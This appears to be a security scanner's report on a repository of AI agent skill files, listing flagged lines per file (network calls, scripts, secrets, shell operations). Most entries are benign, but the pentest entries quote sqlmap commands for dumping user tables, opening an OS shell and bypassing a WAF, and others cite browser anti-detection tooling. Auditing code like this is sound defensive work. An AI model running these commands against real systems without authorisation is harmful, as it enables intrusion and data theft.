# Ask: "What topics should I tag it with?" python scripts/run.py notebook_manager.py add \ --url "https://notebooklm.google.com/notebook/..." \ - Network accessline 30
python scripts/run.py notebook_manager.py add --url "https://notebooklm.google.com/notebook/..." - Network accessline 31
--url "https://notebooklm.google.com/notebook/..." \
skills/notebooklm/requirements.txt
- Executable scriptline 1
Executable file
skills/notebooklm/scripts/__init__.py
- Executable scriptline 1
#!/usr/bin/env python3
skills/notebooklm/scripts/ask_question.py
- Executable scriptline 1
#!/usr/bin/env python3 - Network accessline 7
- Persistent browser profile (user_data_dir) for fingerprint consistency - Manual cookie injection from state.json for session cookies (Playwright bug workaround) See: https://github.com/microsoft/playwright/issues/36139 - Network accessline 8
- Manual cookie injection from state.json for session cookies (Playwright bug workaround) See: https://github.com/microsoft/playwright/issues/36139 """ - Network accessline 9
See: https://github.com/microsoft/playwright/issues/36139 - Network accessline 80
page.wait_for_url(re.compile(r"^https://notebooklm\.google\.com/"), timeout=10000)
skills/notebooklm/scripts/auth_manager.py
- Executable scriptline 1
#!/usr/bin/env python3 - Network accessline 8
- Persistent browser profile (user_data_dir) for fingerprint consistency - Manual cookie injection from state.json for session cookies (Playwright bug workaround) See: https://github.com/microsoft/playwright/issues/36139 - Network accessline 9
- Manual cookie injection from state.json for session cookies (Playwright bug workaround) See: https://github.com/microsoft/playwright/issues/36139 """ - Network accessline 10
See: https://github.com/microsoft/playwright/issues/36139 - Network accessline 113
page = context.new_page() page.goto("https://notebooklm.google.com", wait_until="domcontentloaded") - Network accessline 114
page.goto("https://notebooklm.google.com", wait_until="domcontentloaded") - Network accessline 128
timeout_ms = int(timeout_minutes * 60 * 1000) page.wait_for_url(re.compile(r"^https://notebooklm\.google\.com/"), timeout=timeout_ms) - Network accessline 129
page.wait_for_url(re.compile(r"^https://notebooklm\.google\.com/"), timeout=timeout_ms) - Network accessline 259
page = context.new_page() page.goto("https://notebooklm.google.com", wait_until="domcontentloaded", timeout=30000) - Network accessline 260
page.goto("https://notebooklm.google.com", wait_until="domcontentloaded", timeout=30000)
skills/notebooklm/scripts/browser_session.py
- Executable scriptline 1
#!/usr/bin/env python3
skills/notebooklm/scripts/browser_utils.py
skills/notebooklm/scripts/cleanup_manager.py
skills/notebooklm/scripts/config.py
- Executable scriptline 1
Executable file
skills/notebooklm/scripts/notebook_manager.py
- Executable scriptline 1
#!/usr/bin/env python3
skills/notebooklm/scripts/run.py
- Executable scriptline 1
#!/usr/bin/env python3
skills/notebooklm/scripts/setup_environment.py
- Executable scriptline 1
#!/usr/bin/env python3 - Network accessline 70
# Install Chrome for Patchright (not Chromium!) # Using real Chrome ensures cross-platform reliability and consistent browser fingerprinting # See: https://github.com/Kaliiiiiiiiii-Vinyzu/patchright-python#an - Network accessline 72
# See: https://github.com/Kaliiiiiiiiii-Vinyzu/patchright-python#anti-detection
skills/notion-automation/SKILL.md
- Network accessline 22
**Get Rube MCP**: Add `https://rube.app/mcp` as an MCP server in your client configuration. No API keys needed — just add the endpoint and it works.
skills/nx-workspace-patterns/SKILL.md
skills/observability-monitoring-monitor-setup/resources/implementation-playbook.md
- Network accessline 188
constructor(serviceName: string, environment: string) { const jaegerExporter = new JaegerExporter({ endpoint: process.env.JAEGER_ENDPOINT || 'http://localhost:14268/api/traces', - Network accessline 189
const jaegerExporter = new JaegerExporter({ endpoint: process.env.JAEGER_ENDPOINT || 'http://localhost:14268/api/traces', }); - Network accessline 190
endpoint: process.env.JAEGER_ENDPOINT || 'http://localhost:14268/api/traces', - Access to secretsline 399
[Credential-related source omitted] - Network accessline 475
name = "Prometheus" type = "prometheus" url = "http://prometheus:9090" - Network accessline 476
type = "prometheus" url = "http://prometheus:9090" } - Network accessline 477
url = "http://prometheus:9090"
skills/observability-monitoring-slo-implement/resources/implementation-playbook.md
skills/observe-whatsapp/SKILL.md
- Network accessline 2
name: observe-whatsapp description: "Observe and troubleshoot WhatsApp in Kapso: debug message delivery, inspect webhook deliveries/retries, triage API errors, and run health checks. Use when investigating production issues, message f..." s - Network accessline 3
description: "Observe and troubleshoot WhatsApp in Kapso: debug message delivery, inspect webhook deliveries/retries, triage API errors, and run health checks. Use when investigating production issues, message f..." source: "https://github. - Network accessline 4
source: "https://github.com/gokapso/agent-skills/tree/master/skills/observe-whatsapp" - Access to secretsline 18
[Credential-related source omitted]
skills/obsidian-clipper-template-creator/SKILL.md
skills/obsidian-clipper-template-creator/references/analysis-workflow.md
- Network accessline 10
WebFetch(url="https://example.com/recipe/chocolate-cake") - Network accessline 22
<script type="application/ld+json"> { "@context": "https://schema.org/", - Network accessline 23
{ "@context": "https://schema.org/", "@type": "Recipe", - Network accessline 24
"@context": "https://schema.org/",
skills/obsidian-clipper-template-creator/references/filters.md
- Network accessline 3
**Official Docs:** [help.obsidian.md/web-clipper/filters](https://help.obsidian.md/web-clipper/filters)
skills/obsidian-clipper-template-creator/references/json-schema.md
- Network accessline 34
* For `append-specific` behavior: The *full file path* of the note to append to (e.g., `Databases/Recipes.md`). * **`triggers`**: Array of strings to automatically select this template. * **URL Patterns**: `["https://www.youtube.c - Network accessline 35
* **`triggers`**: Array of strings to automatically select this template. * **URL Patterns**: `["https://www.youtube.com/watch"]` (Simple string or Regex). * **Schema Types**: `["schema:Recipe"]` (Triggers if the page contains - Network accessline 36
* **URL Patterns**: `["https://www.youtube.com/watch"]` (Simple string or Regex).
skills/obsidian-clipper-template-creator/references/variables.md
- Network accessline 3
**Official Docs:** [help.obsidian.md/web-clipper/variables](https://help.obsidian.md/web-clipper/variables)
skills/on-call-handoff-patterns/SKILL.md
- Network accessline 96
**Resources**: - Dashboard: [API Latency](https://grafana/d/api-latency) - Network accessline 97
- Dashboard: [API Latency](https://grafana/d/api-latency) - Network accessline 116
**Resources**: - Dashboard: [Auth Service Memory](https://grafana/d/auth-memory) - Network accessline 117
- Dashboard: [Auth Service Memory](https://grafana/d/auth-memory) - Network accessline 118
- Analysis doc: [Memory Investigation](https://docs/eng-1235) - Network accessline 126
- **Root Cause**: Database connection exhaustion - **Resolution**: Rolled back v2.3.4, increased pool size - **Postmortem**: [POSTMORTEM-89](https://docs/postmortem-89) - Network accessline 127
- **Resolution**: Rolled back v2.3.4, increased pool size - **Postmortem**: [POSTMORTEM-89](https://docs/postmortem-89) - **Follow-up tickets**: ENG-1230, ENG-1231 - Network accessline 128
- **Postmortem**: [POSTMORTEM-89](https://docs/postmortem-89) - Network accessline 204
### Important Links - [Runbooks](https://wiki/runbooks) - Network accessline 205
- [Runbooks](https://wiki/runbooks) - Network accessline 206
- [Service Catalog](https://wiki/services) - Network accessline 207
- [Incident Slack](https://slack.com/incidents) - Network accessline 208
- [PagerDuty](https://pagerduty.com/schedules) - Network accessline 298
## Resources - Incident channel: #inc-20240122-payment - Dashboard: [Payment Service](https://grafana/d/payments) - Network accessline 299
- Incident channel: #inc-20240122-payment - Dashboard: [Payment Service](https://grafana/d/payments) - Runbook: [Payment Degradation](https://wiki/runbooks/payments) - Network accessline 300
- Dashboard: [Payment Service](https://grafana/d/payments) - Network accessline 301
- Runbook: [Payment Degradation](https://wiki/runbooks/payments) - Network accessline 453
- [Google SRE - Being On-Call](https://sre.google/sre-book/being-on-call/) - Network accessline 454
- [PagerDuty On-Call Guide](https://www.pagerduty.com/resources/learn/on-call-management/) - Network accessline 455
- [Increment On-Call Issue](https://increment.com/on-call/)
skills/one-drive-automation/SKILL.md
- Network accessline 22
**Get Rube MCP**: Add `https://rube.app/mcp` as an MCP server in your client configuration. No API keys needed — just add the endpoint and it works.
skills/openapi-spec-generation/resources/implementation-playbook.md
- Network accessline 26
version: 1.0.0 servers: - url: https://api.example.com/v1 - Network accessline 27
servers: - url: https://api.example.com/v1 paths: - Network accessline 28
- url: https://api.example.com/v1 - Network accessline 64
name: API Support email: api-support@example.com url: https://docs.example.com - Network accessline 65
email: api-support@example.com url: https://docs.example.com license: - Network accessline 66
url: https://docs.example.com - Network accessline 67
license: name: MIT url: https://opensource.org/licenses/MIT - Network accessline 69
url: https://opensource.org/licenses/MIT - Network accessline 71
servers: - url: https://api.example.com/v2 - Network accessline 72
- url: https://api.example.com/v2 - Network accessline 73
description: Production - url: https://staging-api.example.com/v2 description: Staging - Network accessline 74
- url: https://staging-api.example.com/v2 - Network accessline 75
description: Staging - url: http://localhost:3000/v2 description: Local development - Network accessline 76
- url: http://localhost:3000/v2 - Network accessline 530
], servers=[ {"url": "https://api.example.com/v2", "description": "Production"}, - Network accessline 531
servers=[ {"url": "https://api.example.com/v2", "description": "Production"}, {"url": "http://localhost:8000", "description": "Development"}, - Network accessline 532
{"url": "https://api.example.com/v2", "description": "Production"}, - Network accessline 533
{"url": "http://localhost:8000", "description": "Development"}, - Network accessline 967
languages: - lang: curl - lang: python - Network accessline 968
- lang: curl - lang: python - lang: javascript - Network accessline 1024
- [OpenAPI 3.1 Specification](https://spec.openapis.org/oas/v3.1.0) - Network accessline 1025
- [Swagger Editor](https://editor.swagger.io/) - Network accessline 1026
- [Redocly](https://redocly.com/) - Network accessline 1027
- [Spectral](https://stoplight.io/open-source/spectral)
skills/oss-hunter/SKILL.md
- Network accessline 3
description: "Automatically hunt for high-impact OSS contribution opportunities in trending repositories." risk: safe source: https://github.com/jackjin1997/ClawForge - Network accessline 4
risk: safe source: https://github.com/jackjin1997/ClawForge metadata: {"openclaw":{"emoji":"🎯","category":"developer"}} - Network accessline 5
source: https://github.com/jackjin1997/ClawForge - Network accessline 73
Build a better hunter by adding new heuristics to Phase 3. Submit your improvements to the [ClawForge](https://github.com/jackjin1997/ClawForge).
skills/oss-hunter/bin/hunter.py
- Executable scriptline 1
Executable file
skills/outlook-automation/SKILL.md
- Network accessline 22
**Get Rube MCP**: Add `https://rube.app/mcp` as an MCP server in your client configuration. No API keys needed — just add the endpoint and it works.
skills/outlook-calendar-automation/SKILL.md
- Network accessline 22
**Get Rube MCP**: Add `https://rube.app/mcp` as an MCP server in your client configuration. No API keys needed — just add the endpoint and it works.
skills/pagerduty-automation/SKILL.md
- Network accessline 22
**Get Rube MCP**: Add `https://rube.app/mcp` as an MCP server in your client configuration. No API keys needed — just add the endpoint and it works.
skills/paypal-integration/SKILL.md
- Network accessline 73
<script src="https://www.paypal.com/sdk/js?client-id=YOUR_CLIENT_ID¤cy=USD"></script> - Network accessline 90
// Send to backend for verification fetch('/api/paypal/capture', { - Network accessline 91
fetch('/api/paypal/capture', { - Access to secretsline 110
[Credential-related source omitted] - Access to secretsline 140
[Credential-related source omitted] - Network accessline 141
[Credential-related source omitted] - Network accessline 142
[Credential-related source omitted] - Access to secretsline 142
[Credential-related source omitted] - Network accessline 143
self.base_url = 'https://api-m.sandbox.paypal.com' if mode == 'sandbox' else 'https://api-m.paypal.com' - Access to secretsline 144
[Credential-related source omitted] - Access to secretsline 146
[Credential-related source omitted] - Network accessline 151
response = requests.post( - Access to secretsline 155
[Credential-related source omitted] - Access to secretsline 158
[Credential-related source omitted] - Access to secretsline 165
[Credential-related source omitted] - Network accessline 178
response = requests.post(url, headers=headers, json=payload) - Access to secretsline 186
[Credential-related source omitted] - Network accessline 189
response = requests.post(url, headers=headers) - Access to secretsline 196
[Credential-related source omitted] - Network accessline 199
response = requests.get(url, headers=headers) - Network accessline 242
# Send back to PayPal for verification paypal_url = 'https://ipnpb.sandbox.paypal.com/cgi-bin/webscr' # or production URL - Network accessline 243
paypal_url = 'https://ipnpb.sandbox.paypal.com/cgi-bin/webscr' # or production URL - Network accessline 245
response = requests.post(paypal_url, data=verify_data) - Access to secretsline 288
[Credential-related source omitted] - Access to secretsline 293
[Credential-related source omitted] - Network accessline 325
response = requests.post(url, headers=headers, json=payload) - Access to secretsline 330
[Credential-related source omitted] - Access to secretsline 335
[Credential-related source omitted] - Network accessline 342
}, "application_context": { "return_url": "https://yourdomain.com/subscription/success", - Network accessline 343
"application_context": { "return_url": "https://yourdomain.com/subscription/success", "cancel_url": "https://yourdomain.com/subscription/cancel" - Network accessline 344
"return_url": "https://yourdomain.com/subscription/success", - Network accessline 345
"cancel_url": "https://yourdomain.com/subscription/cancel" - Network accessline 349
response = requests.post(url, headers=headers, json=payload) - Access to secretsline 366
[Credential-related source omitted] - Access to secretsline 371
[Credential-related source omitted] - Network accessline 384
response = requests.post(url, headers=headers, json=payload) - Access to secretsline 389
[Credential-related source omitted] - Access to secretsline 393
[Credential-related source omitted] - Network accessline 396
response = requests.get(url, headers=headers)
skills/pci-compliance/SKILL.md
- Access to secretsline 149
[Credential-related source omitted]
skills/pdf-official/LICENSE.txt
- Network accessline 6
exists, use is governed by Anthropic's Consumer Terms of Service or Commercial Terms of Service, as applicable: https://www.anthropic.com/legal/consumer-terms - Network accessline 7
Commercial Terms of Service, as applicable: https://www.anthropic.com/legal/consumer-terms https://www.anthropic.com/legal/commercial-terms - Network accessline 8
https://www.anthropic.com/legal/consumer-terms - Network accessline 9
https://www.anthropic.com/legal/commercial-terms
skills/pdf-official/scripts/check_bounding_boxes.py
- Executable scriptline 1
Executable file
skills/pdf-official/scripts/check_bounding_boxes_test.py
- Executable scriptline 1
Executable file
skills/pdf-official/scripts/check_fillable_fields.py
- Executable scriptline 1
Executable file
skills/pdf-official/scripts/convert_pdf_to_images.py
- Executable scriptline 1
Executable file
skills/pdf-official/scripts/create_validation_image.py
- Executable scriptline 1
Executable file
skills/pdf-official/scripts/extract_form_field_info.py
- Executable scriptline 1
Executable file - Network accessline 31
# "/Off" seems to always be the unchecked value, as suggested by # https://opensource.adobe.com/dc-acrobat-sdk-docs/standards/pdfstandards/pdf/PDF32000_2008.pdf#page=448 - Network accessline 32
# https://opensource.adobe.com/dc-acrobat-sdk-docs/standards/pdfstandards/pdf/PDF32000_2008.pdf#page=448 - Network accessline 79
# Radio button options have a separate annotation for each choice; # all choices have the same field name. # See https://westhealth.github.io/exploring-fillable-forms-with-pdfrw.html - Network accessline 81
# See https://westhealth.github.io/exploring-fillable-forms-with-pdfrw.html
skills/pdf-official/scripts/fill_fillable_fields.py
- Executable scriptline 1
Executable file
skills/pdf-official/scripts/fill_pdf_form_with_annotations.py
skills/pentest-checklist/SKILL.md
- Network accessline 113
# Web vulnerability scan nikto -h http://TARGET - Network accessline 114
nikto -h http://TARGET - Network accessline 129
**Cloud Provider Policies:** - AWS: https://aws.amazon.com/security/penetration-testing/ - Network accessline 130
- AWS: https://aws.amazon.com/security/penetration-testing/ - Network accessline 131
- Azure: https://docs.microsoft.com/security/pentest - Network accessline 132
- GCP: https://cloud.google.com/security/overview - Dangerous shell operationline 321
sudo systemctl restart rsyslog - Dangerous shell operationline 322
sudo systemctl restart auditd
skills/pentest-commands/SKILL.md
- Network accessline 241
# Basic scan nikto -h http://192.168.1.1 - Network accessline 242
nikto -h http://192.168.1.1 - Network accessline 244
# Comprehensive scan nikto -h http://192.168.1.1 -C all - Network accessline 245
nikto -h http://192.168.1.1 -C all - Network accessline 247
# Output to file nikto -h http://192.168.1.1 -output report.html - Network accessline 248
nikto -h http://192.168.1.1 -output report.html - Network accessline 250
# Plugin-based scans nikto -h http://192.168.1.1 -Plugins robots - Network accessline 251
nikto -h http://192.168.1.1 -Plugins robots - Network accessline 252
nikto -h http://192.168.1.1 -Plugins shellshock - Network accessline 253
nikto -h http://192.168.1.1 -Plugins heartbleed - Network accessline 254
nikto -h http://192.168.1.1 -Plugins ssl - Network accessline 256
# Export to Metasploit nikto -h http://192.168.1.1 -Format msf+ - Network accessline 257
nikto -h http://192.168.1.1 -Format msf+ - Network accessline 259
# Specific tuning nikto -h http://192.168.1.1 -Tuning 1 # Interesting files only - Network accessline 260
nikto -h http://192.168.1.1 -Tuning 1 # Interesting files only - Network accessline 266
# Basic injection test sqlmap -u "http://192.168.1.1/page?id=1" - Network accessline 267
sqlmap -u "http://192.168.1.1/page?id=1" - Network accessline 269
# Enumerate databases sqlmap -u "http://192.168.1.1/page?id=1" --dbs - Network accessline 270
sqlmap -u "http://192.168.1.1/page?id=1" --dbs - Network accessline 272
# Enumerate tables sqlmap -u "http://192.168.1.1/page?id=1" -D database --tables - Network accessline 273
sqlmap -u "http://192.168.1.1/page?id=1" -D database --tables - Network accessline 275
# Dump table sqlmap -u "http://192.168.1.1/page?id=1" -D database -T users --dump - Network accessline 276
sqlmap -u "http://192.168.1.1/page?id=1" -D database -T users --dump - Network accessline 278
# OS shell sqlmap -u "http://192.168.1.1/page?id=1" --os-shell - Network accessline 279
sqlmap -u "http://192.168.1.1/page?id=1" --os-shell - Network accessline 281
# POST request sqlmap -u "http://192.168.1.1/login" --data="user=admin&pass=test" - Network accessline 282
sqlmap -u "http://192.168.1.1/login" --data="user=admin&pass=test" - Network accessline 284
# Cookie injection sqlmap -u "http://192.168.1.1/page" --cookie="id=1*" - Network accessline 285
sqlmap -u "http://192.168.1.1/page" --cookie="id=1*" - Network accessline 287
# Bypass WAF sqlmap -u "http://192.168.1.1/page?id=1" --tamper=space2comment - Network accessline 288
sqlmap -u "http://192.168.1.1/page?id=1" --tamper=space2comment - Network accessline 290
# Risk and level sqlmap -u "http://192.168.1.1/page?id=1" --risk=3 --level=5 - Network accessline 291
sqlmap -u "http://192.168.1.1/page?id=1" --risk=3 --level=5 - Network accessline 430
nikto -h http://target && sqlmap -u "http://target/page?id=1" --dbs
skills/performance-profiling/SKILL.md
- Broad permissionsline 1
Read, Glob, Grep, Bash - Network accessline 17
| Script | Purpose | Usage | |--------|---------|-------| | `scripts/lighthouse_audit.py` | Lighthouse performance audit | `python scripts/lighthouse_audit.py https://example.com` | - Network accessline 19
| `scripts/lighthouse_audit.py` | Lighthouse performance audit | `python scripts/lighthouse_audit.py https://example.com` |
skills/performance-profiling/scripts/lighthouse_audit.py
- Executable scriptline 1
#!/usr/bin/env python3 - Network accessline 4
Script: lighthouse_audit.py Purpose: Run Lighthouse performance audit on a URL Usage: python lighthouse_audit.py https://example.com - Network accessline 5
Purpose: Run Lighthouse performance audit on a URL Usage: python lighthouse_audit.py https://example.com Output: JSON with performance scores - Network accessline 6
Usage: python lighthouse_audit.py https://example.com
skills/performance-testing-review-ai-review/SKILL.md
- Network accessline 283
const result = await db.execute(query, [username]); `, references: ["https://cwe.mitre.org/data/definitions/89.html"], - Network accessline 284
`, references: ["https://cwe.mitre.org/data/definitions/89.html"], autoFixable: false, cwe: "CWE-89", cvss: 9.8, effort: "easy" - Network accessline 285
references: ["https://cwe.mitre.org/data/definitions/89.html"], - Access to secretsline 313
[Credential-related source omitted] - Access to secretsline 361
[Credential-related source omitted] - Access to secretsline 362
[Credential-related source omitted]
skills/pipedrive-automation/SKILL.md
- Network accessline 22
**Get Rube MCP**: Add `https://rube.app/mcp` as an MCP server in your client configuration. No API keys needed — just add the endpoint and it works.
skills/plaid-fintech/SKILL.md
- Access to secretsline 14
[Credential-related source omitted]
skills/plan-writing/SKILL.md
- Network accessline 106
|----------|----------| | "Verify the component works correctly" | "Run `npm run dev`, click button, see toast" | | "Test the API" | "curl localhost:3000/api/users returns 200" | - Network accessline 107
| "Verify the component works correctly" | "Run `npm run dev`, click button, see toast" | | "Test the API" | "curl localhost:3000/api/users returns 200" | | "Check styles" | "Open browser, verify dark mode toggle works" | - Network accessline 108
| "Test the API" | "curl localhost:3000/api/users returns 200" |
skills/planning-with-files/SKILL.md
- Broad permissionsline 1
Bash
skills/planning-with-files/reference.md
skills/planning-with-files/scripts/check-complete.sh
- Executable scriptline 1
#!/bin/bash
skills/planning-with-files/scripts/init-session.sh
- Executable scriptline 1
#!/bin/bash
skills/planning-with-files/templates/findings.md
- Network accessline 67
WHEN: Add as you discover useful resources. EXAMPLE: - Python argparse docs: https://docs.python.org/3/library/argparse.html - Network accessline 68
EXAMPLE: - Python argparse docs: https://docs.python.org/3/library/argparse.html - Project structure: src/main.py, src/utils.py - Network accessline 69
- Python argparse docs: https://docs.python.org/3/library/argparse.html
skills/playwright-skill/API_REFERENCE.md
- Network accessline 56
reporter: 'html', use: { baseURL: 'http://localhost:3000', - Network accessline 57
use: { baseURL: 'http://localhost:3000', trace: 'on-first-retry', - Network accessline 58
baseURL: 'http://localhost:3000', - Network accessline 69
webServer: { command: 'npm run start', url: 'http://localhost:3000', - Network accessline 70
command: 'npm run start', url: 'http://localhost:3000', reuseExistingServer: !process.env.CI, - Network accessline 71
url: 'http://localhost:3000', - Network accessline 98
// Navigate await page.goto('https://example.com', { - Network accessline 99
await page.goto('https://example.com', { - Network accessline 308
// Page assertions await expect(page).toHaveTitle('My App'); await expect(page).toHaveURL('https://example.com/dashboard'); - Network accessline 309
await expect(page).toHaveTitle('My App'); await expect(page).toHaveURL('https://example.com/dashboard'); await expect(page).toHaveURL(/.*dashboard/); - Network accessline 310
await expect(page).toHaveURL('https://example.com/dashboard'); - Network accessline 498
// Measure page load time const startTime = Date.now(); await page.goto('https://example.com'); - Network accessline 499
const startTime = Date.now(); await page.goto('https://example.com'); const loadTime = Date.now() - startTime; - Network accessline 500
await page.goto('https://example.com'); - Network accessline 642
# Generate code npx playwright codegen https://example.com - Network accessline 643
npx playwright codegen https://example.com - Network accessline 651
- [Playwright Documentation](https://playwright.dev/docs/intro) - Network accessline 652
- [API Reference](https://playwright.dev/docs/api/class-playwright) - Network accessline 653
- [Best Practices](https://playwright.dev/docs/best-practices)
skills/playwright-skill/SKILL.md
- Network accessline 71
// Parameterized URL (detected or user-provided) const TARGET_URL = 'http://localhost:3001'; // <-- Auto-detected or from user - Network accessline 72
const TARGET_URL = 'http://localhost:3001'; // <-- Auto-detected or from user - Network accessline 102
const TARGET_URL = 'http://localhost:3001'; // Auto-detected - Network accessline 128
const TARGET_URL = 'http://localhost:3001'; // Auto-detected - Network accessline 154
const TARGET_URL = 'http://localhost:3001'; // Auto-detected - Network accessline 184
await page.goto('http://localhost:3000'); - Network accessline 219
try { await page.goto('http://localhost:3000', { - Network accessline 220
await page.goto('http://localhost:3000', { - Network accessline 245
const TARGET_URL = 'http://localhost:3001'; // Auto-detected - Network accessline 288
const browser = await chromium.launch({ headless: false }); const page = await browser.newPage(); await page.goto('http://localhost:3001'); - Network accessline 289
const page = await browser.newPage(); await page.goto('http://localhost:3001'); await page.screenshot({ path: '/tmp/quick-screenshot.png', fullPage: true }); - Network accessline 290
await page.goto('http://localhost:3001'); - Network accessline 422
[Runs: detectDevServers()] [Output: Found server on port 3001] I found your dev server running on http://localhost:3001 - Network accessline 424
I found your dev server running on http://localhost:3001 - Network accessline 436
[Output: Found servers on ports 3000 and 3001] I found 2 dev servers. Which one should I test? - http://localhost:3000 - Network accessline 437
I found 2 dev servers. Which one should I test? - http://localhost:3000 - http://localhost:3001 - Network accessline 438
- http://localhost:3000 - Network accessline 439
- http://localhost:3001
skills/playwright-skill/lib/helpers.js
- Executable scriptline 1
Executable file - Network accessline 397
}, (res) => { if (res.statusCode < 500) { detectedServers.push(`http://localhost:${port}`); - Network accessline 398
if (res.statusCode < 500) { detectedServers.push(`http://localhost:${port}`); console.log(` ✅ Found server on port ${port}`); - Network accessline 399
detectedServers.push(`http://localhost:${port}`);
skills/playwright-skill/package.json
- Executable scriptline 1
Executable file
skills/playwright-skill/run.js
- Executable scriptline 1
#!/usr/bin/env node
skills/podcast-generation/SKILL.md
- Network accessline 23
[Credential-related source omitted] - Access to secretsline 23
[Credential-related source omitted] - Network accessline 24
AZURE_OPENAI_AUDIO_ENDPOINT=https://your-resource.cognitiveservices.azure.com - Access to secretsline 43
[Credential-related source omitted] - Possible obfuscationline 68
audio_chunks.append(base64.b64decode(event.delta)) - Possible obfuscationline 84
const bytes = atob(base64);
skills/posix-shell-pro/SKILL.md
- Dangerous shell operationline 69
- End option parsing with `--` and use `rm -rf -- "$dir"` for safety - Dangerous shell operationline 107
- Use `--` to separate options from arguments: `rm -- "$file"` - Dangerous shell operationline 110
- Use `trap` for cleanup: `trap 'rm -f "$tmpfile"' EXIT INT TERM` - Dangerous shell operationline 270
- **Safe Temp Files**: `tmpfile=$(mktemp) || exit 1; trap 'rm -f "$tmpfile"' EXIT INT TERM` - Network accessline 295
### POSIX Standards & Specifications - [POSIX Shell Command Language](https://pubs.opengroup.org/onlinepubs/9699919799/utilities/V3_chap02.html) - Official POSIX.1-2024 specification - Network accessline 296
- [POSIX Shell Command Language](https://pubs.opengroup.org/onlinepubs/9699919799/utilities/V3_chap02.html) - Official POSIX.1-2024 specification - Network accessline 297
- [POSIX Utilities](https://pubs.opengroup.org/onlinepubs/9699919799/idx/utilities.html) - Complete list of POSIX-mandated utilities - Network accessline 298
- [Autoconf Portable Shell Programming](https://www.gnu.org/software/autoconf/manual/autoconf.html#Portable-Shell) - Comprehensive portability guide from GNU - Network accessline 300
### Portability & Best Practices - [Rich's sh (POSIX shell) tricks](http://www.etalabs.net/sh_tricks.html) - Advanced POSIX shell techniques - Network accessline 301
- [Rich's sh (POSIX shell) tricks](http://www.etalabs.net/sh_tricks.html) - Advanced POSIX shell techniques - Network accessline 302
- [Suckless Shell Style Guide](https://suckless.org/coding_style/) - Minimalist POSIX sh patterns - Network accessline 303
- [FreeBSD Porter's Handbook - Shell](https://docs.freebsd.org/en/books/porters-handbook/makefiles/#porting-shlibs) - BSD portability considerations - Network accessline 305
### Tools & Testing - [checkbashisms](https://manpages.debian.org/testing/devscripts/checkbashisms.1.en.html) - Detect bash-specific constructs - Network accessline 306
- [checkbashisms](https://manpages.debian.org/testing/devscripts/checkbashisms.1.en.html) - Detect bash-specific constructs
skills/postgres-best-practices/AGENTS.md
- Network accessline 107
Reference: https://supabase.com/docs/guides/database/query-optimization - Network accessline 147
Reference: https://www.postgresql.org/docs/current/indexes-types.html - Network accessline 186
Reference: https://www.postgresql.org/docs/current/indexes-multicolumn.html - Network accessline 221
Reference: https://www.postgresql.org/docs/current/indexes-index-only-scans.html - Network accessline 261
Reference: https://www.postgresql.org/docs/current/indexes-partial.html - Network accessline 308
Reference: https://www.postgresql.org/docs/current/runtime-config-client.html#GUC-IDLE-IN-TRANSACTION-SESSION-TIMEOUT - Network accessline 347
Reference: https://supabase.com/docs/guides/platform/performance#connection-management - Network accessline 385
Reference: https://supabase.com/docs/guides/database/connecting-to-postgres#connection-pooler - Network accessline 426
Reference: https://supabase.com/docs/guides/database/connecting-to-postgres#connection-pool-modes - Network accessline 481
Reference: https://supabase.com/blog/postgres-roles-and-privileges - Network accessline 526
Reference: https://supabase.com/docs/guides/database/postgres/row-level-security - Network accessline 574
Reference: https://supabase.com/docs/guides/database/postgres/row-level-security#rls-performance-recommendations - Network accessline 621
Reference: https://www.postgresql.org/docs/current/datatype.html - Network accessline 675
Reference: https://www.postgresql.org/docs/current/ddl-constraints.html#DDL-CONSTRAINTS-FK - Network accessline 727
Reference: https://www.postgresql.org/docs/current/ddl-partitioning.html - Network accessline 781
- Avoid random UUIDs (v4) as primary keys on large tables (causes index fragmentation) [Identity Columns](https://www.postgresql.org/docs/current/sql-createtable.html#SQL-CREATETABLE-PARMS-GENERATED-IDENTITY) - Network accessline 783
[Identity Columns](https://www.postgresql.org/docs/current/sql-createtable.html#SQL-CREATETABLE-PARMS-GENERATED-IDENTITY) - Network accessline 833
Reference: https://www.postgresql.org/docs/current/sql-syntax-lexical.html#SQL-SYNTAX-IDENTIFIERS - Network accessline 884
Reference: https://www.postgresql.org/docs/current/tutorial-transactions.html - Network accessline 939
Alternative: use a single statement to update atomically: Detect deadlocks in logs: [Deadlocks](https://www.postgresql.org/docs/current/explicit-locking.html#LOCKING-DEADLOCKS) - Network accessline 941
[Deadlocks](https://www.postgresql.org/docs/current/explicit-locking.html#LOCKING-DEADLOCKS) - Network accessline 992
Reference: https://www.postgresql.org/docs/current/explicit-locking.html#ADVISORY-LOCKS - Network accessline 1041
Reference: https://www.postgresql.org/docs/current/sql-select.html#SQL-FOR-UPDATE-SHARE - Network accessline 1096
Reference: https://www.postgresql.org/docs/current/sql-copy.html - Network accessline 1144
Reference: https://supabase.com/docs/guides/database/query-optimization - Network accessline 1189
Reference: https://supabase.com/docs/guides/database/pagination - Network accessline 1234
Reference: https://www.postgresql.org/docs/current/sql-insert.html#SQL-ON-CONFLICT - Network accessline 1290
Reference: https://supabase.com/docs/guides/database/extensions/pg_stat_statements - Network accessline 1340
Reference: https://supabase.com/docs/guides/database/database-size#vacuum-operations - Network accessline 1380
Reference: https://supabase.com/docs/guides/database/inspect - Network accessline 1430
Reference: https://www.postgresql.org/docs/current/datatype-json.html#JSON-INDEXING - Network accessline 1480
Reference: https://supabase.com/docs/guides/database/full-text-search - Network accessline 1486
- https://www.postgresql.org/docs/current/ - Network accessline 1487
- https://supabase.com/docs - Network accessline 1488
- https://wiki.postgresql.org/wiki/Performance_Optimization - Network accessline 1489
- https://supabase.com/docs/guides/database/overview - Network accessline 1490
- https://supabase.com/docs/guides/auth/row-level-security
skills/postgres-best-practices/metadata.json
- Network accessline 5
"abstract": "Comprehensive Postgres performance optimization guide for developers using Supabase and Postgres. Contains performance rules across 8 categories, prioritized by impact from critical (query performance, connection management) to - Network accessline 6
"references": [ "https://www.postgresql.org/docs/current/", "https://supabase.com/docs", - Network accessline 7
"https://www.postgresql.org/docs/current/", - Network accessline 8
"https://supabase.com/docs", - Network accessline 9
"https://wiki.postgresql.org/wiki/Performance_Optimization", - Network accessline 10
"https://supabase.com/docs/guides/database/overview", - Network accessline 11
"https://supabase.com/docs/guides/auth/row-level-security"
skills/postgres-best-practices/rules/_contributing.md
skills/postgres-best-practices/rules/_template.md
- Network accessline 34
Reference: [Postgres Docs](https://www.postgresql.org/docs/current/)
skills/postgres-best-practices/rules/advanced-full-text-search.md
- Network accessline 55
Reference: [Full Text Search](https://supabase.com/docs/guides/database/full-text-search)
skills/postgres-best-practices/rules/advanced-jsonb-indexing.md
- Network accessline 49
